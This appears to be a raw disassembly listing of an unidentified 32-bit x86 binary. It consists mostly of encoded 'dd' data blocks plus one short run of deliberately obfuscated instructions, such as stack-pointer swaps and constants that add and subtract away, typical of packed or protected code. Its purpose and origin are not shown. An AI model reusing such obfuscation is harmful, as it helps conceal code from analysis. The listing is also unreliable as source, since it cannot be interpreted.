dd 2A8202E0h, 0A4C0589Ch, 58DA8B66h, 33ACEE81h, 0D480030Ch
dd 6631890Ah, 0C03FE081h, 8904E983h, 1F19A19Dh, 1EF8306h
dd 0FFAA850Fh, 9D8BFFFFh, 61F1FFDh, 0E71308EBh, 45E0h
dd 0B0E90000h, 6800000Ah, 6255B98h, 0FAEF98E9h, 5CA068FFh
dd 8EE90625h, 68FFFAEFh, 6255E89h, 0FAEF84E9h, 5F6B68FFh
dd 7AE90625h, 68FFFAEFh, 6256107h, 0FAEF70E9h, 627568FFh
dd 66E90625h, 68FFFAEFh, 6256355h, 0FAEF5CE9h, 950E33FFh
dd 3AEDD334h, 0DFB678D9h, 7E111D7Eh, 1EF3BC1Dh, 39FE8FBDh
dd 0DF40A176h, 82E344DBh, 2687E8BDh, 0D12D8E1Fh, 72B5396Ch
dd 731AF7B3h, 881A42Eh, 94153085h, 0A87DCE33h, 2CF951DFh
dd 0A95569DCh, 53020426h, 784495EAh, 0F58322A5h, 0AF5983AEh
dd 961F54FBh, 5BAC1C4Fh, 0FD52BB6Ah, 0AD4224CAh, 9F04B3F7h
dd 0E584079Ch, 559DD457h, 5BF7AD42h, 115E9AB9h, 34A10265h
dd 46h, 5AB57ACBh, 74B43278h, 1093423Ah, 0B18EE371h, 7EB11A74h
dd 0FBAF3723h, 841B2576h, 1184AC01h, 6136FD62h, 86B13FDEh
dd 34D6ED7h, 5EC4DFB7h, 88BF42D0h, 0F7ADFD6Ah, 4985A446h
dd 0A1030C26h, 0AC1Fh, 81A4CA00h, 0F308508h, 0DAE0319Ah
dd 0DD32B543h, 67BC3FC8h, 4364CD5Eh, 8CED8021h, 0E4C72C06h
dd 0FD40A12Fh, 0F18EAC2Bh, 79DA5372h, 0F97C0D18h, 0B11A74B1h
dd 0AF920F7Eh, 0B26182FBh, 5587789Ch, 0D988B341h, 85012478h
dd 0C865E91Ch, 7B2A01CCh, 29FEC112h, 0CF4467C8h, 0FCE15054h
dd 251D4E2h, 8A5h, 0B6C250Ch, 0B01184AAh, 59BA6D4Fh, 6134F8h
dd 0A6079C9Fh, 19221578h, 0FEC22384h, 5E65C627h, 3E0768C9h
dd 4BB00C6Dh, 0B373D618h, 0D52F9F7h, 0F74C9BA4h, 8E182AC4h
dd 0B7FEADF1h, 0F18E1837h, 0D93AE998h, 7BDCAD78h, 694FA02Ah
dd 55D028B6h, 49DD039h, 0D1FBAF37h, 8A689F22h, 26F7AD37h
dd 46296584h, 0FFA10246h, 0EBh, 6B4FA0AAh, 1827C7FAh, 0F9A8F18Eh
dd 9A28C74Ah, 2E971035h, 0B310B8D9h, 0D6753C8h, 8E3628C6h
dd 6AF8A7F1h, 0F4A992E7h, 3AEE3A71h, 1233F18Eh, 320AFC13h
dd 65749E38h, 178ECD35h, 2B8C3BEAh, 0AF32FBCAh, 67D0BE67h
dd 0AF355934h, 6C093EFBh, 8D8BC620h, 81D536E5h, 0DF0C34A4h
dd 0AD7042ACh, 37E695F7h, 77EC1F88h, 4001CCFCh, 0D4D72891h
dd 6750B3B9h, 10BFF9E5h, 0BE4F56A7h, 4D6ECF30h, 84187452h
dd 0CCC09D51h, 4E8332F1h, 0EF9EA1D4h, 0FC576274h, 2C7BFEE2h
dd 79Dh, 3643D04h, 0A8099CA2h, 51B26547h, 0F859CCF0h, 9EFF9497h
dd 111A1D70h, 0F6BA1B7Ch, 565DBE1Fh, 26FF60C1h, 43A80465h
dd 0B374DE10h, 54AF1F7h, 0D6184BA0h, 0F9F18E18h, 5457BC4Ah
dd 3D0556BFh, 0BA48E76Ah, 82A3F459h, 0F167B09h, 0A0CC1D7Eh
dd 0A5C5617Fh, 65F3B525h, 0E1642500h, 87F0B98Ch, 73CABF66h
dd 6CFA7DBEh, 206EB70Bh, 291162B7h, 0EF54F376h, 31D053C8h
dd 35615CA3h, 8736FBAFh, 5896C91Eh, 77F7AD35h, 62B73AC8h
dd 869CA43h, 90E96C3Dh, 0B7DB736Fh, 0AB930E0Fh, 70B745F4h
dd 7E679261h, 0B4F110C2h, 56B71891h, 43BBE4Fh, 72E78CEDh
dd 77AAFF64h, 72E78C77h, 691BA958h, 0B9380D4Ah, 0C6D1CF3h
dd 5E8B9AABh, 0C84164AEh, 0DF71A645h, 0A72AD96Eh, 0E72F8570h
dd 8FAE4C72h, 3F047352h, 9948E76Ah, 3DCED738h, 8B07B3D4h
dd 27B90DABh, 57CE1699h, 0CA9BCE37h, 0B7A55D0h, 7EA7FB5Ch
dd 8974A710h, 6E7468D6h, 3D0556BFh, 59DC6Ah, 0C89042DFh
dd 35FA8AF6h, 0DC23B160h, 70348B15h, 6EF1A488h, 0F5ED3D49h
dd 0E84D516Bh, 96CF52C7h, 66CCD9F8h, 9D83BA25h, 22C416C5h
dd 9EA8C703h, 9B9D1989h, 48000003h, 0FF267CBDh, 9ED1268Fh
dd 0F18E1850h, 81141A7Fh, 0A8DB44D2h, 0FBAF3825h, 0E52CBB6Ah
dd 7CBE69CDh, 55BEC85Dh, 0A21CD00h, 0B07C78A0h, 90BB5ADDh
dd 0E392052Bh, 0C8B9EC55h, 0AD82C11Bh, 7B4495FEh, 0D457CEF0h
dd 1E218635h, 0D9670689h, 57A8FD56h, 7579C057h, 20729CD8h
dd 0AC5B861Bh, 2F5FC61Eh, 0F0C7A5C6h, 4F2AA34Bh, 9837BA6Dh
dd 0BFF25BE9h, 7CBAECA4h, 1184A6F7h, 40A95883h, 0F455D6EFh
dd 227D3E8Fh, 681A4D96h, 0F87B2A68h, 5F66CB59h, 7F4753CEh
dd 64E765EEh, 5B415h, 7D161B00h, 22F5BB1Ch, 0C75E60C1h
dd 66390566h, 69BA405h, 211677A5h, 0C728891Eh, 6ACB2CE3h
dd 0E6FD045h, 0B9157637h, 76CD2154h, 5B02F7B3h, 6074B116h
dd 8E18C12Dh, 49A5D8F1h, 8EF18E18h, 527FB4DFh, 788D9866h
dd 0C42DDC8Bh, 53D64973h, 0F3A7FB4h, 1C159270h, 0CBF2258Eh
dd 0ACFBAFD0h, 257AFDh, 0F8CD1E87h, 2CDBAC79h, 1BCD1B9Eh
dd 2D59CCFCh, 0D64973C4h, 11ACDF48h, 6601CEEAh, 0D0F556B7h
dd 0A67FD457h, 0E493082Fh, 0F312C061h, 0B51EEFB6h, 0B8C12D60h
dd 6716F18Eh, 571878D9h, 0EE9AE3C7h, 256h, 1A74B199h, 0F2567EB1h
dd 0D685FBA9h, 7D101C6Dh, 0A3586EFh, 0E8D33495h, 33E2B57Dh
dd 0E2B579CAh
dd 515BC05Fh, 76AD30BEh, 0F7B37281h, 118C1D28h, 1B18CA3Bh
dd 0D2DD2CAFh, 39000004h, 0DD3E9F70h, 7EDF40D7h, 2788E9BCh
dd 0CE2F9007h, 0A9D738EDh, 0B36853C4h, 56C9F152h, 0FAAF94F5h
dd 9C6D3899h, 477ADF3Bh, 0F7B377A7h, 0A03C8128h, 0D20B9C7Fh
dd 9CDC0110h, 0CF0494F5h, 5DB543F2h, 2255BEC8h, 0FBAA68B2h
dd 0C24B5AABh, 0D75A0934h, 89EAA382h, 98C1D28h, 0D5E91B4h
dd 4EED7027h, 0B344E707h, 1697AEF7h, 1AC9F493h, 9947E86Bh
dd 9F683D7Ah, 344F1536h, 41930A3h, 0B45A7ECFh, 31BF1EF9h
dd 101A6BD0h, 7D10187Dh, 69CD5BFAh, 0A1090E06h, 1813Fh
dd 81A4EA00h, 15308508h, 46DF3394h, 85ACDF48h, 52FBAF1Eh
dd 9E920A3h, 0A7F7AD1Eh, 50A5E605h, 0AD1ED11Dh, 0F25706F7h
dd 68CC5AD3h, 0A1024107h, 403Eh, 74B1E900h, 237EB11Ah
dd 0B4FBAF37h, 654B9C05h, 0C62F6A2Ch, 0DA892B2Fh, 0A72AB857h
dd 0AD718270h, 6D8C2EF7h, 2803E31h, 0DA07A1h, 499E0000h
dd 0AD65D816h, 5B8EF7F7h, 0F7AD6593h, 58E69544h, 881A403h
dd 0B96C4E9Fh, 6A629736h, 355BA622h, 0EF44C755h, 846A9DCCh
dd 53F18EE8h, 0AA59CCEEh, 0CA1F78FBh, 8EE85797h, 3BC978F1h
dd 0A788CFD6h, 21D06FF2h, 0AB7C499Eh, 0ED21074Ah, 5D68F18Eh
dd 0E176BCCh, 0B2F61780h, 173AE6B7h, 56787BAh, 0B968F18Fh
dd 0E0137C0Ah, 0FBAE9201h, 9DBE27D6h, 7533ACFFh, 48B13F3Ah
dd 406DD2F3h, 9464C4C1h, 4F9EA106h, 0AF19D21Ch, 9BA005F7h
dd 47A85706h, 0D550C5E6h, 0E4E36EE9h, 36ABFA7Dh, 9D000003h
dd 399AFB94h, 0DA3B9C73h, 7BDC3DD0h, 1A7BDCB3h, 0ED1B7C11h
dd 0FF949798h, 0A2753D9Eh, 46DBE041h, 0E8A184E5h, 93C62B87h
dd 0F7B3795Bh, 0A490D57Ch, 44A5069Bh, 0F647A861h, 850881A4h
dd 33941530h, 0DF4846DFh, 0AF0CB9ACh, 0EC6F1EFBh, 0AD2C3FB5h
dd 58AD12F7h, 0AD2CC925h, 71D90EF7h, 262BA98Eh, 16C85605h
dd 5965B6F7h, 45E038C6h, 0B8ADE049h, 1D01CEDBh, 57A80D6Eh
dd 9E3DC057h, 81A4BB10h, 15308508h, 46DF3394h, 698ADF48h
dd 0E37038BAh, 7D0E171Ch, 1EAC5BFAh, 0B0075AD7h, 426CBDFBh
dd 63123DCBh, 7C72A5FAh, 5BF7AE07h, 649B1EACh, 0F7AE078Eh
dd 0B278C922h, 2BB958DBh, 511E5A79h, 0F4A1032Ah, 27h, 1A74B19Fh
dd 37237EB1h, 2576FBAFh, 65048700h, 7AFDACD7h, 0AD37AF43h
dd 405F01F7h, 2466B04h, 0CADAA1h, 0A0850000h, 7989357Fh
dd 396E66B2h, 484A8F90h, 379C2AF9h, 0E3349D6Eh, 32B543D8h
dd 0BA3DD2DDh, 5EC74065h, 0E270270Dh, 8EB5065Fh, 69F79619h
dd 7682104h, 8EA964C4h, 6C54A5F1h, 99736B9h, 0A70881A4h
dd 9FCAF142h, 0CD5B0A9Dh, 49CC5D68h, 16A2401h, 0AF948FCEh
dd 107120FBh, 0B41D69BCh, 0CD426A81h, 20066B01h, 7120F7B7h
dd 270859C2h, 8FB01172h, 45A59F1Ah, 0CE51E2FCh, 1C87Fh
dd 990A2F00h, 3ED1D738h, 0DBB27CDDh, 8215197Ah, 2AFFC021h
dd 45CA9BC9h, 0E344A57Ah, 86E748DFh, 2A8BECA1h, 0D531921Bh
dd 7AB13D70h, 7F26F7B3h, 69BA43Ah, 0C8EF40A5h, 37B7EA53h
dd 98F18E18h, 2FF65BE9h, 4798FD5Eh, 0CC21AF64h, 0B11A74B1h
dd 0AF37237Eh, 8205B4FBh, 0AD37A74Bh, 486709F7h, 246630Ch
dd 0BCE2A1h, 0A48D0000h, 30850881h, 41ADE00Fh, 96F18E18h
dd 7EB538E7h, 0F18E1CAAh, 0F455D6EFh, 0C9C46E8Fh, 99DC1F68h
dd 0E9FA60Bh, 0A4E2438Bh, 6F55083Bh, 1B3CFBAFh, 0C07FF603h
dd 0D3FE8C8Ch, 0B66FC324h, 0A3C6FD8h, 8F01CD9Ch, 19A77E3Eh
dd 85D63FEEh, 0C65E8BFh, 0CC7315D9h, 5C0BBAF1h, 732EC0F3h
dd 0F2A1F1CCh, 81AAFB64h, 614AAB0Ch, 347131ACh, 6AEDE2FCh
dd 0E81Bh, 0B96A4F00h, 5E31F758h, 0FB929CFDh, 0A275399Ah
dd 4ADFE041h, 65AABBE9h, 364C55Ah, 0A607683Fh, 4AAB0C81h
dd 0F551B27Bh, 7B915D90h, 9F46F7B3h, 809BA45Ah, 83AB8F97h
dd 0B5EA890Ch, 0D2818AB7h, 74351071h, 81A4C213h, 0DB2C8508h
dd 0F2A589D4h, 9321C043h, 3596172Eh, 0E14A44E1h, 9E713B8Ch
dd 0F20FC910h, 1D72FBA9h, 0B37204EAh, 9624D3F7h, 0E039BC6Bh
dd 7296588Bh, 8A39F7B3h, 0FD8E97FCh, 0C6E6379Ch, 9F2DCC4Fh
dd 0B5E86B3Ah, 0F7B37239h, 0A275399Eh, 22D1801Fh, 0F473689Fh
dd 77E0BBEEh, 2B900526h, 69088B00h, 0CD0A29DBh, 69CE2FF8h
dd 0F00DE114h, 13C2376Eh, 0CE052085h, 18433EAh, 8A0D80ACh
dd 2A6B8A3Ch, 0F04CA2D5h, 0DC8B376Eh, 0F0AE4073h, 7221376Eh
dd 0E5A67FE4h, 89022384h, 3B706h, 5E620000h, 49DA409h
dd 90192C81h, 1EF3B80Dh, 0AB62469Bh, 33E8D328h, 0BB505BB0h
dd 44DBE338h, 0CB426CC1h, 5ACDF348h, 89538ED7h, 4C381E3h
dd 81000000h, 4EBh, 241C8700h, 2424895Ch, 4240481h, 51000000h
dd 0C181E189h, 4, 4E981h, 0C870000h, 14895C24h, 67306824h
dd 34890000h, 4A38BA24h, 0B85038BDh, 3E981049h, 5458C231h
dd 8324348Bh, 525704C4h, 43243481h, 5F5C4A71h, 7143F781h
dd 7E895C4Ah, 34FF5F08h, 0C4835E24h, 2434FF04h, 4C4835Ah
dd 0FAE4F4E9h, 0B8C549FFh, 6256462h, 0E0FFC503h, 2775CBF4h
dd 596A67F2h, 56FE1ED1h, 784FC9C5h, 69B33D55h, 1BECED6h
dd 1F53609Bh, 178FC6ECh, 31BE0578h, 65EF8D8Dh, 9D290625h
dd 61F20DDh, 6E9h, 0BB85C600h, 89F9C441h, 1F0B5D8Dh, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0C585C796h, 3C061F20h, 6A000058h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0A186C352h
dd 85C74646h, 61F137Dh, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 1DC35141h
dd 0ED7EAD9Bh, 10E9h, 0E79F4000h, 97F947B0h, 1DC2565Bh
dd 93C79C47h, 18B0F58h, 0F8000000h, 1ECDB5FFh, 0BE9061Fh
dd 0FF000000h, 0E7E0E596h, 7C4E186Bh, 95FFA308h, 61F2D59h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0ACC35242h
dd 95FF006Ah, 61F1D45h, 3DEBC08Bh, 53F76E41h, 864DB613h
dd 5F7C001h, 9B973921h, 0ED9B5DBFh, 6AC49C56h, 2A1F24A5h
dd 0F7279297h, 4DFC68E2h, 0F3BB9F64h, 0C14BCA51h, 0EC78FC85h
dd 0A19DF547h, 0F49B7EB3h, 50146F55h, 8EB57h, 24000000h
dd 0E96538E6h, 502h, 25674B68h, 1738E906h, 0B068FFFAh
dd 0E9062567h, 0FFFA172Eh, 25692068h, 1724E906h, 0C5E7FFFAh
dd 0A401C53Ch, 8A20E45Bh, 6D3C0077h, 4F571B92h, 35EF3BB2h
dd 148B7630h, 35AC6350h, 53CA3771h, 70E7188Fh, 0AA822EA7h
dd 3D19AE3Bh, 0F37C9205h, 0D3A16F47h, 2A4E021Fh, 43D52C7Ah
dd 70E7188Fh, 0E25B2E09h, 0F0952136h, 68FAAE15h, 0F2D3F4C8h
dd 1DDD5A25h, 3FE77996h, 0D3421AC6h, 21D525F2h, 0DF5C82FDh
dd 974729Ah, 31533h, 7FEBC000h, 30A9EC4Bh, 0F081CB84h
dd 19AC6015h, 0D5E92C79h, 0E5A88F22h, 8D3C06Ch, 0DA101975h
dd 0B121AB05h, 9E0BBBCAh, 44043D61h, 0EA159063h, 680CB446h
dd 53B87FD6h, 48DA875Ch, 49C2662Ch, 9409FC9Dh, 0D52B611Fh
dd 0B647919Fh, 34E82145h, 357232BBh, 6C9038CAh, 3192EBBCh
dd 58C8BD62h, 2F07B32Ch, 0C22F9645h, 66F36A0Eh, 0D8FC03A6h
dd 19807F28h, 0F9EAAAD2h, 39C2E177h, 0FA000003h, 14D84FB2h
dd 33F76E91h, 4F138A77h, 6A2EA55Ah, 24EC53Ch, 0A0614548h
dd 0C14E6529h, 0DF22864Ah, 0FC03A468h, 9743BC85h, 19AE3ABFh
dd 0A2A71A52h, 0DB870095h, 15F6C818h, 1BE4C585h, 910ABEF7h
dd 0B52CD5D1h, 0CB77B5F1h, 25F908F3h, 9C2ED286h, 0F9092DFCh
dd 936C3B25h, 0D6FC52Ch, 0CBEA80F0h, 2D4h, 73EA1795h, 9209F6AFh
dd 0AE25DCCEh, 0C940BFEAh, 0E960A105h, 0CCDAE39Dh, 0B9FABE35h
dd 8D1BDF56h, 6E39FD74h, 0D8511A91h, 0AE3A542Ch, 3CAFE719h
dd 870095A2h, 0F6C818DBh, 7F11C515h, 0F9090BDFh, 78891F25h
dd 8D7432E6h, 7C62F1FBh, 0AD453B1h, 4E216831h, 0E61CA509h
dd 0FB1F351Bh, 8D650197h, 2025F98Ah, 0C7AF486Ch, 3C000001h
dd 0B9D6245h, 2EDA5057h, 1FD3A156h, 0DCB460E9h, 6F1FD3A1h
dd 55F117BBh, 3F5615B9h, 0E44BC266h, 19C53E53h, 15F02A04h
dd 29D6D191h, 7F53F385h, 0E525F228h, 0F6C37866h, 170975C1h
dd 48h, 95A2A4h, 8136DB87h, 23E315F0h, 0C1EB7D82h, 0FB6CB98Eh
dd 0B155F954h, 0DF6CA21Fh, 0B579B14h, 0C1953155h, 2725F2B7h
dd 40BFEAAAh, 67E206AEh, 8621E177h, 0FABF5579h, 33097456h
dd 38CA3773h, 0E2D36C90h, 60000000h, 0B9D6245h, 0AC304F57h
dd 1D5D2CE1h, 59CE5B1Dh, 894F4B33h, 89F53E5h, 5FE865F7h
dd 0D332DBB3h, 96BA6E1Fh, 0C73EC1E6h, 0D3372917h, 8D72351Fh
dd 588AF16h, 7F57038Ch, 121FD336h, 15C13A5Eh, 15F4A330h
dd 79961DDDh, 229B3FE7h, 0E98E69ECh, 0C5EB89D1h, 4262FA90h
dd 0D34C70D5h, 0F76E9313h, 5FCAA6Ah, 0F7A7CB73h, 966D46AFh
dd 0A94DF110h, 913D142h, 0D7F68CF0h, 164h, 37A8725h, 2299663Fh
dd 3EB54C5Eh, 59D02F7Ah, 79F01195h, 3C6A732Dh, 298A4EC5h
dd 0FDAB6FE6h, 0DEC98D04h, 68E1AA21h, 0AE38E4BCh, 0CC3F7719h
dd 0BCB6145h, 2CD4669Bh, 0D3A1B890h, 16C24B1Fh, 1FD3A13Eh
dd 0D5791DD1h, 0F20D9A5Eh, 7730F079h, 0A214EC88h, 0F3A71FD3h
dd 0BCB58CFh, 0F5B2629Fh, 0ACD0780Ah, 9D624549h, 0AF50570Bh
dd 2366D138h, 526121AAh, 5F832BBDh, 0F0F07FC3h, 7D2AEA15h
dd 2448F082h, 35BE37EBh, 0F2EFB189h, 6C904425h, 8E7333F3h
dd 0EF936717h, 0A725F2h, 3BFB88FFh, 0A8F3146Bh, 0BF0F397Fh
dd 0BDE1891Bh, 4A5C990Dh, 649A13B7h, 26D10BA1h, 0F082A665h
dd 0A3D1h, 95A25A00h, 0AB4FB2F4h, 0C7FF8632h, 0C07415F6h
dd 0DD228747h, 0ED7FA34Bh, 18916E39h, 2FDB4F58h, 25F90757h
dd 9236EAh, 0F9BD3458h, 8F6445AEh, 9F43E718h, 0D9D0900Dh
dd 0E476991Ah, 5206983Ch, 6E16A857h, 670AA6CAh, 47011694h
dd 0ACFB26B8h, 0C64FDC53h, 0C05CA306h, 891694E8h, 0F3A3C77Bh
dd 12D24BB4h, 0B8476093h, 95588214h, 2A03A541h, 0D7698D31h
dd 0E7798623h, 1908D655h, 6FF8718Eh, 7305FAAFh, 95572FCBh
dd 36EA8916h, 0D0D79B12h, 0D7E9D2Fh, 0F1000000h, 95E4BC68h
dd 0C3778916h, 40A73C9Fh, 89A6745h, 1AAC5354h, 2DBF4266h
dd 43D53A79h, 58EA178Fh, 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h
dd 0A234CBDAh, 232E6886h, 8F540000h, 4812404h, 424h, 0E6895600h
dd 4C681h, 0EE810000h, 4, 5C243487h
db 89h, 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push esi
mov esi, 4CD849EFh
mov ebx, 0B94D1C6Fh
add ebx, 12002D27h
add ebx, esi
sub ebx, 12002D27h
pop esi
push esp
mov edx, [esp]
add esp, 4
push ebp
mov ebp, ebx
mov [edx+8], ebp
mov ebp, [esp]
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_535A7A
; ---------------------------------------------------------------------------
dd 0D6EFD0F3h, 2B33EAFDh, 94DE389Fh, 0A9B8E5C3h, 306256Ah
dd 94E0FFC5h, 0ED6560BDh, 6962A498h, 85408D89h, 9406D051h
dd 0C06D443Ch, 807A50B5h, 153716F9h, 7A46E7ACh, 0D66F4422h
dd 0D26E36B1h, 0E82ADA29h, 5, 0D9DB81E1h, 0A3C9817Fh, 5F7B9DFCh
dd 8E9h, 0CCC67600h, 964CF741h, 47C78164h, 66000073h, 0E2BCC981h
dd 1CA768h, 0F6816600h, 6658F0EBh, 5AC681h, 81661F8Bh
dd 819F97EEh, 0ACC1E0C3h, 8B0F6068h, 2, 0B057F8B6h, 81615A83h
dd 2169B0EBh, 0E8DABA71h, 0EB814B31h, 5C3FAFE6h, 1C86BA66h
dd 1D40BE53h, 78F33E7h, 2EF83F5h, 4F66E680h, 0E883F84Fh
dd 0D850F01h, 8B000000h, 29E9D6h, 7EAE0000h, 0A3CE8868h
dd 7860Fh, 8B600000h, 3BC880F0h, 0FF96E961h, 267DFFFFh
dd 9400E2DFh, 0C99B391Dh, 350D0E70h, 8DF17311h, 256D028Dh
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 9E5FD0C3h, 0BF0FD59Ah, 10C080F0h, 0B5D8D89h
dd 0BD23061Fh, 61F0035h, 20C585C7h, 6844061Fh, 5B530000h
dd 137D85C7h, 61Fh, 0C7810000h, 6F6EBA4h, 0F41B5FFh, 6A061Fh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0A7004BC3h, 0D26B51A2h, 8B0F603Ah, 6, 1331B589h, 2FBF061Fh
dd 61333BD5h, 5EAABA66h, 0EE9h, 6EBA3C00h, 0B5B91CDAh
dd 13FA1377h, 0FFCBCFCFh, 1F2D5995h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 90490A8Dh
dd 6AB5179Ah, 4595FF00h, 8B061F1Dh, 0E25AEBC0h, 0DCA3E9F1h
dd 61A3DCEAh, 34D70DD0h, 801AA84Fh, 0E26D06EFh, 75820F36h
dd 0EFDD6899h, 2FC9D0BDh, 325F5423h, 15A830C4h, 4E2BB4D2h
dd 806F812Dh, 4BDC922Ah, 78F75D43h, 0D1CC3621h, 0ABCA311Fh
dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 0E34262D6h, 0C61E9144h
dd 2C4A8624h, 3C8D8D87h, 6A06256Eh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 45B4C355h
dd 0A4E9C8E8h, 81188692h, 242BF4D6h, 14E90Ah, 0DAA80000h
dd 0C42D2356h, 653726E5h, 0B85B71C6h, 93A0E9DCh, 8D89BD83h
dd 61F0B5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 0E2C35141h, 0B1C8805Dh, 8003276Eh, 20C585C7h, 6FD4061Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 0FE304AC3h, 85C7C68Ah, 61F137Dh, 0
dd 0E3D08166h, 59531BCh, 0FF061F2Ch, 1F1EB1B5h, 5E906h
dd 0AF90000h, 0FF73CB3Dh, 1F2D5995h, 4D852906h, 89061F00h
dd 1F273D85h, 0FF006A06h, 1F1D4595h, 0EBC08B06h, 1F0F091Eh
dd 5696BE6Fh, 6B5ED7D7h, 78AC9441h, 0E9EC1ABCh, 0A7F2FA90h
dd 0E5A6E544h, 0E8F75CF0h, 13h, 164AF0E3h, 85473C34h, 0F317A822h
dd 594C80Dh, 8BD88D20h, 1F23118Dh, 0C0815806h, 74E4h, 0BBECD980h
dd 29F639D9h, 24CCF381h, 0F18129F6h, 69124BF9h, 8E0F30FFh
dd 0
dd 0CB8B665Ah, 0C153C281h, 0F28153F0h, 6A343D6Fh, 5E9h
dd 7A31AF00h, 0F28173AAh, 2FC5C4E2h, 5229C980h, 0CC18D31h
dd 8F061Fh, 24BDBD8Bh, 0E881061Fh, 522B9081h, 2A258D8Bh
dd 0C081061Fh, 522B907Dh, 62C78166h, 1EB8329h, 0FFA6850Fh
dd 0BD8BFFFFh, 61F06FDh, 13E8h, 2C285300h, 0FB3DFA5Dh
dd 8D140AE6h, 25F004h, 0B9053FF1h, 5EC18B57h, 817CB45Bh
dd 6152C3h, 0CD950900h, 33061F1Ah, 0BE9C9h, 9F3D0000h
dd 6B9B33DAh, 0DB25CD8Ch, 1934FFBDh, 6810Fh, 85230000h
dd 61F10A9h, 91BD895Ah, 81061F13h, 746E9EAh, 6E80Ah, 63430000h
dd 0CE38AF21h, 18E9B589h, 815F061Fh, 0A19ACEF2h, 32C28119h
dd 522FFDD1h, 0B048FFCh, 1F0D62B8h, 95E98136h, 0E92F411Ah
dd 5, 0EB251DE8h, 91C18174h, 0F2F411Ah, 0F981FABFh, 0FFFF9F4Ch
dd 0FF97850Fh, 8DF9FFFFh, 2570A68Dh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0A577B7D1h
dd 6063BCAFh, 46C8BA66h, 5D8D8961h, 89061F0Bh, 1F2341B5h
dd 0C585C706h, 40061F20h, 6A000065h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 8E19C352h
dd 85C75B8Ah, 61F137Dh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 60C35242h
dd 82BF1A01h, 12AD8D29h, 0B5FF061Fh, 61F0865h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FEC35242h, 0C825DF81h
dd 95FF0500h, 61F2D59h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 67C35343h, 958BC7B0h, 61F0291h, 0FE8h
dd 98090D00h, 0C1A589BEh, 7F16D7DFh, 77BD5489h, 2B198501h
dd 6A5F061Fh, 4595FF00h, 8B061F1Dh, 0BC1CEBC0h, 26C82F28h
dd 64ACA07Ch, 0B9962B5Ch, 0BE4C9FDFh, 39203155h, 2E337FC0h
dd 8D969A59h, 2571E58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0B509FB68h, 61F0C71h
dd 0B5D8D89h, 840F061Fh, 9, 8D8BFC60h, 61F1A5Dh, 0C585C761h
dd 0B8061F20h, 6A000068h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 0E50BC356h, 639FE03h
dd 0B1BD9607h, 547EF5B8h, 13E848h, 0CFD20000h, 5C1E6734h
dd 0ADF95D65h, 107FE724h, 5CAD341h, 0A5B53146h, 58061F1Fh
dd 137D85C7h, 61Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 7E4175C3h, 4EDB119h
dd 0B5FFD88Bh, 61F0105h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 76C35545h, 38B87774h, 0FFF48A21h, 1F2D5995h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0AF47B6BDh, 773258CEh, 8A0Fh, 6A0000h, 1D4595FFh
dd 0C08B061Fh, 0FDE61BEBh, 6C48EE7Ah, 0E298AD65h, 261E71B3h
dd 0A90CF97Ah, 0E50A315Fh, 0CA69E82Ch, 0B68D8DF3h, 1062572h
dd 1F027185h, 89C28A06h, 1F0B5D8Dh, 0D0816006h, 6C9611D3h
dd 0C76150B6h, 1F20C585h, 58C806h, 0C1F28100h, 0C770A3A1h
dd 1F137D85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0A860A957h, 4E382E5h
dd 4FBF667Eh, 91B5FF69h, 8B061F32h, 1F2F89BDh, 5995FF06h
dd 6A061F2Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 3A2C357h, 9042F14Dh, 2D05858Bh
dd 6E9061Fh, 3000000h, 3933605Ah, 860F61h, 6A000000h, 4595FF00h
dd 8B061F1Dh, 3D4CEBC0h, 0DB9E6EF6h, 0D98F3C3Ch, 0D7905C7Bh
dd 8065A1h, 9AA63082h, 7AE0224Dh, 0D3B2E6F3h, 3A16280Dh
dd 0CABB3872h, 0A38E909Dh, 250583DBh, 75C2BE03h, 0C90BC1D9h
dd 41F8B500h, 1FADA26Bh, 903ECE3Dh, 343101B9h, 0A61EF131h
dd 0E8C4E928h, 0Ch, 0B9CC1ED7h, 3BAEA485h, 5E1E9963h, 5AE3D380h
dd 88F0Fh, 89520000h, 1F060D8Dh, 0C2815F06h, 6FBBh, 6898D580h
dd 1BB6h, 6800Fh, 9D090000h, 61F116Dh, 0FEB8605Eh, 6602F429h
dd 0FF61F28Bh, 618D8B32h, 58061F31h, 83D8589h, 0F081061Fh
